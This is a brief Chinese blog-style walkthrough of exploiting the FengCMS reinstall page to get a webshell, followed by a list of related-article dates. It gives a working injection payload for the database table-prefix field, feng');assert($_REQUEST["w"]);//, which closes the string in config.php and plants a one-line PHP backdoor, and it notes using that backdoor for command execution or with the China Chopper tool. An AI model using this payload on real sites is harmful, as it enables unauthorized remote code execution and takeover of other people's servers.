先看一下原来的config.php

fengcms重装漏洞getshell

fengcms访问install/index.php到数据库的设置

将数据表前缀写成feng');assert($_REQUEST["w"]);//这里相当于闭合了前面,然后加进去一个一句话的小马

fengcms重装漏洞getshell

点击下一步然后安装成功

fengcms重装漏洞getshell

现在看一下config.php的内容

fengcms重装漏洞getshell

这个地方已经插入了一句话了,可以在主页直接调用函数命令执行,或者连菜刀

相关文章:

  • 2021-12-02
  • 2022-01-03
  • 2022-12-23
  • 2022-12-23
  • 2021-09-14
  • 2018-06-21
猜你喜欢
  • 2022-12-23
  • 2021-12-10
  • 2021-08-19
  • 2022-12-23
  • 2022-12-23
  • 2021-10-28
  • 2018-03-26
相关资源
相似解决方案